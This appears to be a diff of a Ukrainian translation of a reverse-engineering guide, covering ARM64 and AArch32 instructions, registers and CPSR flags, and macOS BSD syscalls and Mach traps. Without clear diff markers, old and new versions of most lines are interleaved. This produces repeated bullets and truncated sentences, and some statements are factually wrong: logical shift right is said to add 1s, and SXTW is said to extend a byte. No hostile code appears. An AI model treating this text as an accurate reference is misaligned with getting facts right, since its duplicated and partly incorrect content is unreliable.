* **`ccmp`**: Умовне порівняння, це порівняння, яке буде виконано лише у випадку, якщо попереднє порівняння було істинним та спеціально встановить біти nzcv.
|
||||
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> якщо x1 != x2 та x3 < x4, перейти до func
|
||||
* Це тому, що **`ccmp`** буде виконано лише у випадку, якщо **попередній `cmp` був `NE`**, якщо цього не було, біти `nzcv` будуть встановлені на 0 (що не задовольнить порівняння `blt`).
|
||||
* Це також може бути використано як `ccmn` (таке саме, але від'ємне, як `cmp` проти `cmn`).
|
||||
* **`tst`**: Він перевіряє, чи обидва значення порівняння рівні 1 (працює як і ANDS без збереження результату десь). Корисно перевірити реєстр зі значенням та перевірити, чи будь-які біти реєстра, вказані в значенні, рівні 1.
|
||||
* Приклад: `tst X1, #7` Перевірити, чи будь-які останні 3 біти X1 рівні 1
|
||||
* **`teq`**: Операція XOR з відкиданням результату
|
||||
* **Логічний зсув вліво**: Додає 0 з кінця, переміщаючи інші біти вперед (множить на n разів 2)
|
||||
* **Логічний зсув вправо**: Додає 1 на початку, переміщаючи інші біти назад (ділить на n разів 2 в беззнаковому)
|
||||
* **Арифметичний зсув вправо**: Як **`lsr`**, але замість додавання 0, якщо найзначніший біт - 1, **додаються 1** (ділить на n разів 2 в знаковому)
|
||||
* **Обертання вправо**: Як **`lsr`**, але все, що видаляється з правого боку, додається зліва
|
||||
* **Обертання вправо з розширенням**: Як **`ror`**, але з прапором переносу як "найзначнішим бітом". Тобто прапор переносу переміщується до біта 31, а видалений біт - до прапора переносу.
|
||||
* **`bfm`**: **Переміщення бітового поля**, ці операції **копіюють біти `0...n`** з значення та розміщують їх у позиціях **`m..m+n`**. **`#s`** вказує на **найлівішу позицію біта**, а **`#r`** - на **кількість обертів вправо**.
|
||||
* Переміщення бітового поля: `BFM Xd, Xn, #r`
|
||||
* Знакове переміщення бітового поля: `SBFM Xd, Xn, #r, #s`
|
||||
* Беззнакове переміщення бітового поля: `UBFM Xd, Xn, #r, #s`
|
||||
* **Витягування та вставка бітового поля:** Копіює бітове поле з одного реєстру та копіює його в інший реєстр.
|
||||
* **`BFI X1, X2, #3, #4`** Вставити 4 біти з X2 з 3-го біта X1
|
||||
* **`BFXIL X1, X2, #3, #4`** Витягнути з 3-го біта X2 чотири біти та скопіювати їх в X1
|
||||
* **`SBFIZ X1, X2, #3, #4`** Розширити знак 4 біт з X2 та вставити їх в X1, починаючи з позиції біта 3, обнуляючи праві біти
|
||||
* **`SBFX X1, X2, #3, #4`** Витягує 4 біти, починаючи з біта 3 з X2, розширює їх, і поміщає результат в X1
|
||||
* **`UBFIZ X1, X2, #3, #4`** Нульове розширення 4 біт з X2 та вставка їх в X1, починаючи з позиції біта 3, обнуляючи праві біти
|
||||
* **`UBFX X1, X2, #3, #4`** Витягує 4 біти, починаючи з біта 3 з X2, і поміщає нульове розширене значення в X1.
|
||||
* **Розширення знака до X:** Розширює знак (або просто додає 0 в беззнаковій версії) значення, щоб мати можливість виконувати з ним операції:
|
||||
* **`SXTB X1, W2`** Розширює знак байта **з W2 до X1** (`W2` - це половина `X2`) для заповнення 64 біт
|
||||
* **`SXTH X1, W2`** Розширює знак 16-бітного числа **з W2 до X1** для заповнення 64 біт
|
||||
* **`SXTW X1, W2`** Розширює знак байта **з W2 до X1** для заповнення 64 біт
|
||||
* **`UXTB X1, W2`** Додає 0 (беззнаковий) до байта **з W2 до X1** для заповнення 64 біт
|
||||
* **`extr`:** Витягує біти з вказаної **пари реєстрів, що конкатенуються**.
|
||||
* Приклад: `EXTR W3, W2, W1, #3` Це **конкатенує W1+W2** і отримує **з біта 3 W2 до біта 3 W1** і зберігає в W3.
|
||||
* **`cmp`**: **Порівняти** два реєстри та встановити умови прапорів. Це **псевдонім для `subs`**, встановлюючи реєстр призначення на нульовий реєстр. Корисно знати, чи `m == n`.
|
||||
* Він підтримує **той же синтаксис, що й `subs`**
|
||||
* Приклад: `cmp x0, x1` — Це порівнює значення в `x0` та `x1` і відповідно встановлює умови прапорів.
|
||||
* **`cmn`**: **Порівняти негативний** операнд. У цьому випадку це **псевдонім для `adds`** і підтримує той же синтаксис. Корисно знати, чи `m == -n`.
|
||||
* **`ccmp`**: Умовне порівняння, це порівняння, яке буде виконано лише якщо попереднє порівняння було істинним і спеціально встановить біти nzcv.
|
||||
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> якщо x1 != x2 і x3 < x4, перехід до func
|
||||
* Це тому, що **`ccmp`** буде виконано лише якщо **попередній `cmp` був `NE`**, якщо ні, біти `nzcv` будуть встановлені в 0 (що не задовольнить порівняння `blt`).
|
||||
* Це також може бути використано як `ccmn` (те ж саме, але негативне, як `cmp` проти `cmn`).
|
||||
* **`tst`**: Перевіряє, чи будь-яке з значень порівняння обидва 1 (працює як ANDS без зберігання результату десь). Корисно перевірити реєстр з значенням і перевірити, чи будь-які біти реєстру, вказані в значенні, є 1.
|
||||
* Приклад: `tst X1, #7` Перевірити, чи будь-які з останніх 3 бітів X1 є 1
|
||||
* **`teq`**: Операція XOR, відкидаючи результат
|
||||
* **`b`**: Безумовний перехід
|
||||
* Приклад: `b myFunction`
|
||||
* Зверніть увагу, що це не заповнить регістр посилання адресою повернення (не підходить для викликів підпрограм, які потрібно повертатися назад)
|
||||
* Зверніть увагу, що це не заповнить реєстр зв'язку адресою повернення (не підходить для викликів підпрограм, які потребують повернення назад)
|
||||
* **`bl`**: **Перехід** з посиланням, використовується для **виклику** **підпрограми**. Зберігає **адресу повернення в `x30`**.
|
||||
* Приклад: `bl myFunction` — Це викликає функцію `myFunction` та зберігає адресу повернення в `x30`.
|
||||
* Зверніть увагу, що це не заповнить регістр посилання адресою повернення (не підходить для викликів підпрограм, які потрібно повертатися назад)
|
||||
* **`blr`**: **Перехід** з посиланням на регістр, використовується для **виклику** **підпрограми**, де ціль **вказана** в **регістрі**. Зберігає адресу повернення в `x30`. (Це
|
||||
* Приклад: `blr x1` — Це викликає функцію, адреса якої міститься в `x1`, та зберігає адресу повернення в `x30`.
|
||||
* Приклад: `bl myFunction` — Це викликає функцію `myFunction` і зберігає адресу повернення в `x30`.
|
||||
* Зверніть увагу, що це не заповнить реєстр зв'язку адресою повернення (не підходить для викликів підпрограм, які потребують повернення назад)
|
||||
* **`blr`**: **Перехід** з посиланням на реєстр, використовується для **виклику** **підпрограми**, де ціль **вказана** в **реєстрі**. Зберігає адресу повернення в `x30`. (Це
|
||||
* Приклад: `blr x1` — Це викликає функцію, адреса якої міститься в `x1`, і зберігає адресу повернення в `x30`.
|
||||
* **`ret`**: **Повернення** з **підпрограми**, зазвичай використовуючи адресу в **`x30`**.
|
||||
* Приклад: `ret` — Це повертається з поточної підпрограми, використовуючи адресу повернення в `x30`.
|
||||
* Приклад: `ret` — Це повертає з поточної підпрограми, використовуючи адресу повернення в `x30`.
|
||||
* **`b.<cond>`**: Умовні переходи
|
||||
* **`b.eq`**: **Перехід, якщо рівно**, на основі попередньої інструкції `cmp`.
|
||||
* Приклад: `b.eq label` — Якщо попередня інструкція `cmp` знайшла два рівні значення, це переходить до `label`.
|
||||
* **`b.ne`**: **Гілка, якщо не рівно**. Ця інструкція перевіряє умовні прапорці (які були встановлені попередньою інструкцією порівняння), і якщо порівнювані значення не рівні, вона переходить на мітку або адресу.
|
||||
* Приклад: Після інструкції `cmp x0, x1`, `b.ne label` — Якщо значення в `x0` та `x1` не рівні, це переходить на `label`.
|
||||
* **`cbz`**: **Порівняти та гілка на нуль**. Ця інструкція порівнює регістр з нулем, і якщо вони рівні, вона переходить на мітку або адресу.
|
||||
* Приклад: `cbz x0, label` — Якщо значення в `x0` дорівнює нулю, це переходить на `label`.
|
||||
* **`cbnz`**: **Порівняти та гілка на ненульове значення**. Ця інструкція порівнює регістр з нулем, і якщо вони не рівні, вона переходить на мітку або адресу.
|
||||
* Приклад: `cbnz x0, label` — Якщо значення в `x0` не дорівнює нулю, це переходить на `label`.
|
||||
* **`tbnz`**: Тест біту та гілка на ненульове значення
|
||||
* **`b.ne`**: **Перехід, якщо не рівно**. Ця інструкція перевіряє умови прапорів (які були встановлені попередньою інструкцією порівняння), і якщо порівняні значення не були рівні, вона переходить до мітки або адреси.
|
||||
* Приклад: Після інструкції `cmp x0, x1`, `b.ne label` — Якщо значення в `x0` та `x1 не рівні, це переходить до `label`.
|
||||
* **`cbz`**: **Порівняти та перейти на нуль**. Ця інструкція порівнює реєстр з нулем, і якщо вони рівні, переходить до мітки або адреси.
|
||||
* Приклад: `cbz x0, label` — Якщо значення в `x0` нульове, це переходить до `label`.
|
||||
* **`cbnz`**: **Порівняти та перейти на ненульове**. Ця інструкція порівнює реєстр з нулем, і якщо вони не рівні, переходить до мітки або адреси.
|
||||
* Приклад: `cbnz x0, label` — Якщо значення в `x0` ненульове, це переходить до `label`.
|
||||
* **`tbnz`**: Перевірити біт і перейти на ненульове
|
||||
* Приклад: `tbnz x0, #8, label`
|
||||
* **`tbz`**: Тест біту та гілка на нуль
|
||||
* **`tbz`**: Перевірити біт і перейти на нуль
|
||||
* Приклад: `tbz x0, #8, label`
|
||||
* **Умовні операції вибору**: Це операції, поведінка яких змінюється в залежності від умовних бітів.
|
||||
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Якщо істина, X0 = X1, якщо хиба, X0 = X2
|
||||
* `csinc Xd, Xn, Xm, cond` -> Якщо істина, Xd = Xn, якщо хиба, Xd = Xm + 1
|
||||
* `cinc Xd, Xn, cond` -> Якщо істина, Xd = Xn + 1, якщо хиба, Xd = Xn
|
||||
* `csinv Xd, Xn, Xm, cond` -> Якщо істина, Xd = Xn, якщо хиба, Xd = NOT(Xm)
|
||||
* `cinv Xd, Xn, cond` -> Якщо істина, Xd = NOT(Xn), якщо хиба, Xd = Xn
|
||||
* `csneg Xd, Xn, Xm, cond` -> Якщо істина, Xd = Xn, якщо хиба, Xd = - Xm
|
||||
* `cneg Xd, Xn, cond` -> Якщо істина, Xd = - Xn, якщо хиба, Xd = Xn
|
||||
* `cset Xd, Xn, Xm, cond` -> Якщо істина, Xd = 1, якщо хиба, Xd = 0
|
||||
* `csetm Xd, Xn, Xm, cond` -> Якщо істина, Xd = \<всі 1>, якщо хиба, Xd = 0
|
||||
* **`adrp`**: Обчислити **адресу сторінки символу** та зберегти її в регістрі.
|
||||
* Приклад: `adrp x0, symbol` — Це обчислює адресу сторінки `symbol` та зберігає її в `x0`.
|
||||
* **`ldrsw`**: **Завантажити** знакове **32-бітне** значення з пам'яті та **розширити його до 64** бітів.
|
||||
* Приклад: `ldrsw x0, [x1]` — Це завантажує знакове 32-бітне значення з місця пам'яті, на яке вказує `x1`, розширює його до 64 бітів та зберігає в `x0`.
|
||||
* **`stur`**: **Зберегти значення регістра в місце пам'яті**, використовуючи зсув від іншого регістра.
|
||||
* Приклад: `stur x0, [x1, #4]` — Це зберігає значення в `x0` в місце пам'яті, яке знаходиться на 4 байти більше від адреси, що знаходиться в даний момент в `x1`.
|
||||
* **`svc`** : Здійснити **системний виклик**. Він означає "Виклик наглядача". Коли процесор виконує цю інструкцію, він **переходить з режиму користувача в режим ядра** та переходить до конкретного місця в пам'яті, де знаходиться код обробки **системного виклику ядра**.
|
||||
* **Умовні вибіркові операції**: Це операції, поведінка яких змінюється в залежності від умовних бітів.
|
||||
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Якщо істинно, X0 = X1, якщо хибно, X0 = X2
|
||||
* `csinc Xd, Xn, Xm, cond` -> Якщо істинно, Xd = Xn, якщо хибно, Xd = Xm + 1
|
||||
* `cinc Xd, Xn, cond` -> Якщо істинно, Xd = Xn + 1, якщо хибно, Xd = Xn
|
||||
* `csinv Xd, Xn, Xm, cond` -> Якщо істинно, Xd = Xn, якщо хибно, Xd = NOT(Xm)
|
||||
* `cinv Xd, Xn, cond` -> Якщо істинно, Xd = NOT(Xn), якщо хибно, Xd = Xn
|
||||
* `csneg Xd, Xn, Xm, cond` -> Якщо істинно, Xd = Xn, якщо хибно, Xd = - Xm
|
||||
* `cneg Xd, Xn, cond` -> Якщо істинно, Xd = - Xn, якщо хибно, Xd = Xn
|
||||
* `cset Xd, Xn, Xm, cond` -> Якщо істинно, Xd = 1, якщо хибно, Xd = 0
|
||||
* `csetm Xd, Xn, Xm, cond` -> Якщо істинно, Xd = \<всі 1>, якщо хибно, Xd = 0
|
||||
* **`adrp`**: Обчислити **адресу сторінки символу** та зберегти її в реєстрі.
|
||||
* Приклад: `adrp x0, symbol` — Це обчислює адресу сторінки символу `symbol` і зберігає її в `x0`.
|
||||
* **`ldrsw`**: **Завантажити** підписане **32-бітне** значення з пам'яті та **розширити його до 64** біт.
|
||||
* Приклад: `ldrsw x0, [x1]` — Це завантажує підписане 32-бітне значення з пам'ятної адреси, на яку вказує `x1`, розширює його до 64 біт і зберігає в `x0`.
|
||||
* **`stur`**: **Зберегти значення реєстру в пам'ятній адресі**, використовуючи зсув з іншого реєстру.
|
||||
* Приклад: `stur x0, [x1, #4]` — Це зберігає значення в `x0` в пам'ятній адресі, яка на 4 байти більша, ніж адреса, що зараз в `x1`.
|
||||
* **`svc`** : Зробити **системний виклик**. Це означає "Виклик наглядача". Коли процесор виконує цю інструкцію, він **перемикається з режиму користувача в режим ядра** і переходить до певного місця в пам'яті, де знаходиться **код обробки системних викликів ядра**.
|
||||
* Приклад:
|
||||
|
||||
```armasm
|
||||
mov x8, 93 ; Завантажити номер системного виклику для виходу (93) в регістр x8.
|
||||
mov x0, 0 ; Завантажити код статусу виходу (0) в регістр x0.
|
||||
svc 0 ; Здійснити системний виклик.
|
||||
mov x8, 93 ; Завантажити номер системного виклику для виходу (93) в реєстр x8.
|
||||
mov x0, 0 ; Завантажити код статусу виходу (0) в реєстр x0.
|
||||
svc 0 ; Зробити системний виклик.
|
||||
```
|
||||
|
||||
### **Пролог функції**
|
||||
|
||||
1. **Зберегти регістр зв'язку та вказівника на фрейм в стек**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
1. **Зберегти реєстр зв'язку та вказівник кадру в стек**:
|
||||
```armasm
|
||||
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
2. **Встановіть новий вказівник рамки**: `mov x29, sp` (встановлює новий вказівник рамки для поточної функції)
|
||||
3. **Виділіть місце в стеку для локальних змінних** (якщо потрібно): `sub sp, sp, <size>` (де `<size>` - це кількість байтів, необхідних)
|
||||
2. **Встановіть новий вказівник кадру**: `mov x29, sp` (встановлює новий вказівник кадру для поточної функції)
|
||||
3. **Виділіть місце в стеку для локальних змінних** (якщо потрібно): `sub sp, sp, <size>` (де `<size>` - це кількість байтів, що потрібні)
|
||||
|
||||
### **Епілог функції**
|
||||
|
||||
1. **Звільніть локальні змінні (якщо були виділені)**: `add sp, sp, <size>`
|
||||
2. **Відновіть регістр посилання та вказівник рамки**:
|
||||
1. **Звільніть локальні змінні (якщо вони були виділені)**: `add sp, sp, <size>`
|
||||
2. **Відновіть регістр посилання та вказівник кадру**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```armasm
|
||||
|
@ -260,18 +259,18 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
3. **Повернення**: `ret` (повертає управління викликачу, використовуючи адресу у регістрі посилань)
|
||||
3. **Повернення**: `ret` (повертає управління виклику, використовуючи адресу в регістрі посилань)
|
||||
|
||||
## Стан виконання AARCH32
|
||||
|
||||
Armv8-A підтримує виконання програм 32-біт. **AArch32** може працювати в одному з **двох наборів інструкцій**: **`A32`** та **`T32`** і може перемикатися між ними за допомогою **`взаємодії`**.\
|
||||
**Привілейовані** 64-бітні програми можуть планувати **виконання 32-бітних** програм, виконуючи перехід рівня винятку до менш привілейованого 32-бітного.\
|
||||
Зверніть увагу, що перехід з 64-бітного на 32-бітний відбувається з меншим рівнем винятку (наприклад, 64-бітна програма в EL1 спричиняє виконання програми в EL0). Це виконується шляхом встановлення **біту 4** спеціального регістра **`SPSR_ELx`** на **1** тоді, коли потік процесу `AArch32` готовий до виконання, а решта `SPSR_ELx` зберігає програми **`AArch32`** CPSR. Потім привілейований процес викликає інструкцію **`ERET`**, щоб процесор перейшов до **`AArch32`**, увійшовши в A32 або T32 в залежності від CPSR\*\*.\*\*
|
||||
Armv8-A підтримує виконання 32-бітних програм. **AArch32** може працювати в одному з **двох наборів інструкцій**: **`A32`** та **`T32`** і може перемикатися між ними через **`interworking`**.\
|
||||
**Привілейовані** 64-бітні програми можуть планувати **виконання 32-бітних** програм, виконуючи передачу рівня виключення до менш привілейованого 32-бітного.\
|
||||
Зверніть увагу, що перехід з 64-бітного на 32-бітний відбувається знижуючи рівень виключення (наприклад, 64-бітна програма в EL1 викликає програму в EL0). Це робиться шляхом встановлення **біта 4** спеціального регістру **`SPSR_ELx`** **в 1**, коли потік процесу `AArch32` готовий до виконання, а решта `SPSR_ELx` зберігає **CPSR** програм **`AArch32`**. Потім привілейований процес викликає інструкцію **`ERET`**, щоб процесор перейшов до **`AArch32`**, входячи в A32 або T32 в залежності від CPSR\*\*.\*\*
|
||||
|
||||
**`Взаємодія`** відбувається за допомогою бітів J та T CPSR. `J=0` та `T=0` означає **`A32`**, а `J=0` та `T=1` означає **T32**. Це в основному означає встановлення **найнижчого біту на 1**, щоб показати, що набір інструкцій - T32.\
|
||||
Це встановлюється під час **інструкцій гілки взаємодії**, але також може бути встановлено безпосередньо іншими інструкціями, коли PC встановлено як регістр призначення. Приклад:
|
||||
**`Interworking`** відбувається за допомогою бітів J та T CPSR. `J=0` та `T=0` означає **`A32`**, а `J=0` та `T=1` означає **T32**. Це в основному означає встановлення **найнижчого біта в 1**, щоб вказати, що набір інструкцій є T32.\
|
||||
Це встановлюється під час **інструкцій переходу interworking**, але також може бути встановлено безпосередньо з іншими інструкціями, коли PC встановлено як регістр призначення. Приклад:
|
||||
|
||||
Інший приклад:
|
||||
Ще один приклад:
|
||||
```armasm
|
||||
_start:
|
||||
.code 32 ; Begin using A32
|
||||
|
@ -282,62 +281,62 @@ bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
|
|||
mov r0, #0
|
||||
mov r0, #8
|
||||
```
|
||||
### Реєстри
|
||||
### Registers
|
||||
|
||||
Є 16 регістрів по 32 біти (r0-r15). **Від r0 до r14** їх можна використовувати для **будь-якої операції**, проте деякі з них зазвичай зарезервовані:
|
||||
Є 16 32-бітних регістрів (r0-r15). **Від r0 до r14** їх можна використовувати для **будь-якої операції**, однак деякі з них зазвичай зарезервовані:
|
||||
|
||||
* **`r15`**: Лічильник програми (завжди). Містить адресу наступної інструкції. У режимі A32 поточний + 8, у режимі T32, поточний + 4.
|
||||
* **`r11`**: Вказівник рамки
|
||||
* **`r15`**: Лічильник програми (завжди). Містить адресу наступної інструкції. В A32 поточний + 8, в T32, поточний + 4.
|
||||
* **`r11`**: Вказівник кадру
|
||||
* **`r12`**: Регістр внутрішньопроцедурного виклику
|
||||
* **`r13`**: Вказівник стеку
|
||||
* **`r14`**: Регістр посилання
|
||||
|
||||
Крім того, регістри резервуються в **`банківських реєстрах`**. Це місця, які зберігають значення регістрів, що дозволяє виконувати **швидку зміну контексту** при обробці винятків та привілейованих операцій, щоб уникнути необхідності вручну зберігати та відновлювати регістри кожного разу.\
|
||||
Це виконується шляхом **збереження стану процесора від `CPSR` до `SPSR`** режиму процесора, до якого взято виняток. Під час повернення з винятку, **`CPSR`** відновлюється з **`SPSR`**.
|
||||
Більше того, регістри зберігаються в **`банківських реєстрах`**. Це місця, які зберігають значення регістрів, що дозволяє виконувати **швидке перемикання контексту** під час обробки виключень та привілейованих операцій, щоб уникнути необхідності вручну зберігати та відновлювати регістри щоразу.\
|
||||
Це робиться шляхом **збереження стану процесора з `CPSR` до `SPSR`** режиму процесора, в якому виникає виключення. Під час повернення з виключення, **`CPSR`** відновлюється з **`SPSR`**.
|
||||
|
||||
### CPSR - Регістр поточного стану програми
|
||||
### CPSR - Реєстр поточного статусу програми
|
||||
|
||||
У AArch32 CPSR працює аналогічно до **`PSTATE`** в AArch64 і також зберігається в **`SPSR_ELx`** при винятку для подальшого відновлення виконання:
|
||||
В AArch32 CPSR працює подібно до **`PSTATE`** в AArch64 і також зберігається в **`SPSR_ELx`**, коли виникає виключення, щоб пізніше відновити виконання:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Поля поділені на деякі групи:
|
||||
Поля поділені на кілька груп:
|
||||
|
||||
* Регістр статусу програми застосування (APSR): Арифметичні прапорці та доступні з EL0
|
||||
* Регістри стану виконання: Поведінка процесу (керована ОС).
|
||||
* Реєстр статусу програми (APSR): Арифметичні прапори та доступні з EL0
|
||||
* Реєстри стану виконання: Поведінка процесу (керується ОС).
|
||||
|
||||
#### Регістр статусу програми застосування (APSR)
|
||||
#### Реєстр статусу програми (APSR)
|
||||
|
||||
* Прапорці **`N`**, **`Z`**, **`C`**, **`V`** (так само, як у AArch64)
|
||||
* Прапорець **`Q`**: Встановлюється в 1, коли відбувається **насичення цілих чисел** під час виконання спеціалізованої насиченої арифметичної інструкції. Як тільки він встановлений в **`1`**, він буде зберігати значення до тих пір, поки його не буде вручну встановлено на 0. Крім того, немає жодної інструкції, яка перевіряє його значення неявно, це потрібно зробити, читаючи його вручну.
|
||||
* **`GE`** (Більше або дорівнює) Прапорці: Використовується в операціях SIMD (Одна Інструкція, Багато Даних), таких як "паралельне додавання" та "паралельне віднімання". Ці операції дозволяють обробляти кілька точок даних в одній інструкції.
|
||||
* Прапори **`N`**, **`Z`**, **`C`**, **`V`** (так само, як в AArch64)
|
||||
* Прапор **`Q`**: Він встановлюється в 1, коли **відбувається насичення цілих чисел** під час виконання спеціалізованої арифметичної інструкції з насиченням. Як тільки він встановлений на **`1`**, він зберігатиме значення, поки його не встановлять вручну на 0. Більше того, немає жодної інструкції, яка перевіряє його значення неявно, це потрібно робити, читаючи його вручну.
|
||||
* Прапори **`GE`** (Більше або дорівнює): Використовуються в SIMD (Одна інструкція, кілька даних) операціях, таких як "паралельне додавання" та "паралельне віднімання". Ці операції дозволяють обробляти кілька точок даних в одній інструкції.
|
||||
|
||||
Наприклад, інструкція **`UADD8`** **додає чотири пари байтів** (з двох 32-бітних операндів) паралельно і зберігає результати в регістрі 32 біти. Потім **встановлює прапорці `GE` в `APSR`** на основі цих результатів. Кожен прапорець GE відповідає одному з додавань байтів, вказуючи, чи відбулося переповнення додавання для цієї пари байтів.
|
||||
Наприклад, інструкція **`UADD8`** **додає чотири пари байтів** (з двох 32-бітних операндів) паралельно та зберігає результати в 32-бітному регістрі. Потім вона **встановлює прапори `GE` в `APSR`** на основі цих результатів. Кожен прапор GE відповідає одному з додавань байтів, вказуючи, чи додавання для цієї пари байтів **переповнилося**.
|
||||
|
||||
Інструкція **`SEL`** використовує ці прапорці GE для виконання умовних дій.
|
||||
Інструкція **`SEL`** використовує ці прапори GE для виконання умовних дій.
|
||||
|
||||
#### Регістри стану виконання
|
||||
#### Реєстри стану виконання
|
||||
|
||||
* Біти **`J`** та **`T`**: **`J`** повинен бути 0, і якщо **`T`** дорівнює 0, використовується набір інструкцій A32, а якщо 1 - використовується T32.
|
||||
* Регістр стану блоку IT (`ITSTATE`): Це біти з 10-15 та 25-26. Вони зберігають умови для інструкцій всередині групи з префіксом `IT`.
|
||||
* Біт **`E`**: Вказує на **порядок байтів**.
|
||||
* Біти режиму та маски винятків (0-4): Вони визначають поточний стан виконання. П'ятий вказує, що програма працює як 32-бітна (1) або 64-бітна (0). Інші 4 представляють **режим винятка, який в даний момент використовується** (коли виникає виняток і його обробляють). Число встановлює **поточний пріоритет**, у разі виникнення іншого винятка під час обробки цього.
|
||||
* Біти **`J`** та **`T`**: **`J`** має бути 0, і якщо **`T`** 0, використовується набір інструкцій A32, а якщо 1, використовується T32.
|
||||
* **Реєстр стану блоку IT** (`ITSTATE`): Це біти з 10-15 та 25-26. Вони зберігають умови для інструкцій всередині групи з префіксом **`IT`**.
|
||||
* Біти **`E`**: Вказує на **порядок байтів**.
|
||||
* Біти маски режиму та виключення (0-4): Вони визначають поточний стан виконання. **5-й** вказує, чи програма працює в 32-бітному (1) або 64-бітному (0) режимі. Інші 4 представляють **режим виключення, що використовується в даний момент** (коли виникає виключення і його обробляють). Встановлене число **вказує на поточний пріоритет** у випадку, якщо виникає інше виключення під час обробки цього.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1200).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* **`AIF`**: Деякі винятки можна вимкнути, використовуючи біти **`A`**, `I`, `F`. Якщо **`A`** дорівнює 1, це означає, що будуть викликані **асинхронні відмови**. **`I`** налаштовує відповідь на зовнішні апаратні **запити переривань** (IRQ), а F пов'язаний з **швидкими запитами переривань** (FIR).
|
||||
* **`AIF`**: Деякі виключення можуть бути вимкнені за допомогою бітів **`A`**, `I`, `F`. Якщо **`A`** 1, це означає, що **асинхронні аборти** будуть викликані. **`I`** налаштовує відповідь на зовнішні апаратні **Запити переривання** (IRQ). а F пов'язаний з **Швидкими запитами переривання** (FIR).
|
||||
|
||||
## macOS
|
||||
|
||||
### BSD системні виклики
|
||||
### BSD syscalls
|
||||
|
||||
Перевірте [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). BSD системні виклики матимуть **x16 > 0**.
|
||||
Перегляньте [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). BSD syscalls матимуть **x16 > 0**.
|
||||
|
||||
### Mach Traps
|
||||
|
||||
Перевірте в [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) `mach_trap_table` та в [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) прототипи. Максимальна кількість Mach traps - `MACH_TRAP_TABLE_COUNT` = 128. Mach traps матимуть **x16 < 0**, тому потрібно викликати номери з попереднього списку з **мінусом**: **`_kernelrpc_mach_vm_allocate_trap`** це **`-10`**.
|
||||
Перегляньте в [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) `mach_trap_table` та в [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) прототипи. Максимальна кількість Mach traps - `MACH_TRAP_TABLE_COUNT` = 128. Mach traps матимуть **x16 < 0**, тому вам потрібно викликати номери з попереднього списку з **мінусом**: **`_kernelrpc_mach_vm_allocate_trap`** - це **`-10`**.
|
||||
|
||||
Ви також можете перевірити **`libsystem_kernel.dylib`** у дизасемблері, щоб дізнатися, як викликати ці (і BSD) системні виклики:
|
||||
Ви також можете перевірити **`libsystem_kernel.dylib`** в дизасемблері, щоб дізнатися, як викликати ці (та BSD) syscalls:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -349,31 +348,33 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Зверніть увагу, що **Ida** та **Ghidra** також можуть декомпілювати **конкретні dylibs** з кешу, просто передавши кеш.
|
||||
|
||||
{% hint style="success" %}
|
||||
Іноді легше перевірити **декомпільований** код з **`libsystem_kernel.dylib`** **ніж** перевіряти **вихідний код**, оскільки код декількох системних викликів (BSD та Mach) генерується за допомогою скриптів (перевірте коментарі в вихідному коді), тоді як у dylib ви можете знайти, що викликається.
|
||||
Іноді легше перевірити **декомпільований** код з **`libsystem_kernel.dylib`** **ніж** перевіряти **джерельний код**, оскільки код кількох системних викликів (BSD та Mach) генерується за допомогою скриптів (перевірте коментарі в джерельному коді), тоді як у dylib ви можете знайти, що викликається.
|
||||
{% endhint %}
|
||||
|
||||
### виклики machdep
|
||||
### machdep виклики
|
||||
|
||||
XNU підтримує ще один тип викликів, які називаються залежними від машини. Кількість цих викликів залежить від архітектури, і ані виклики, ані їх номери не гарантовано залишатимуться постійними.
|
||||
XNU підтримує ще один тип викликів, званий залежними від машини. Кількість цих викликів залежить від архітектури, і ні виклики, ні числа не гарантовано залишаться постійними.
|
||||
|
||||
### сторінка comm
|
||||
### comm page
|
||||
|
||||
Це сторінка пам'яті власника ядра, яка відображена в адресному просторі кожного процесу користувача. Це призначено для прискорення переходу з режиму користувача до простору ядра швидше, ніж використання системних викликів для ядерних служб, які використовуються настільки часто, що цей перехід був би дуже неефективним.
|
||||
Це сторінка пам'яті, що належить ядру, яка відображається в адресному просторі кожного процесу користувача. Вона призначена для того, щоб зробити перехід з режиму користувача в простір ядра швидшим, ніж використання системних викликів для служб ядра, які використовуються настільки часто, що цей перехід був би дуже неефективним.
|
||||
|
||||
Наприклад, виклик `gettimeofdate` читає значення `timeval` безпосередньо зі сторінки comm.
|
||||
Наприклад, виклик `gettimeofdate` читає значення `timeval` безпосередньо зі сторінки комунікації.
|
||||
|
||||
### objc\_msgSend
|
||||
|
||||
Дуже поширено зустрічати цю функцію в програмах Objective-C або Swift. Ця функція дозволяє викликати метод об'єкта Objective-C.
|
||||
Цю функцію дуже часто можна знайти в програмах на Objective-C або Swift. Ця функція дозволяє викликати метод об'єкта Objective-C.
|
||||
|
||||
Параметри ([додаткова інформація в документації](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)):
|
||||
Параметри ([більше інформації в документації](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)):
|
||||
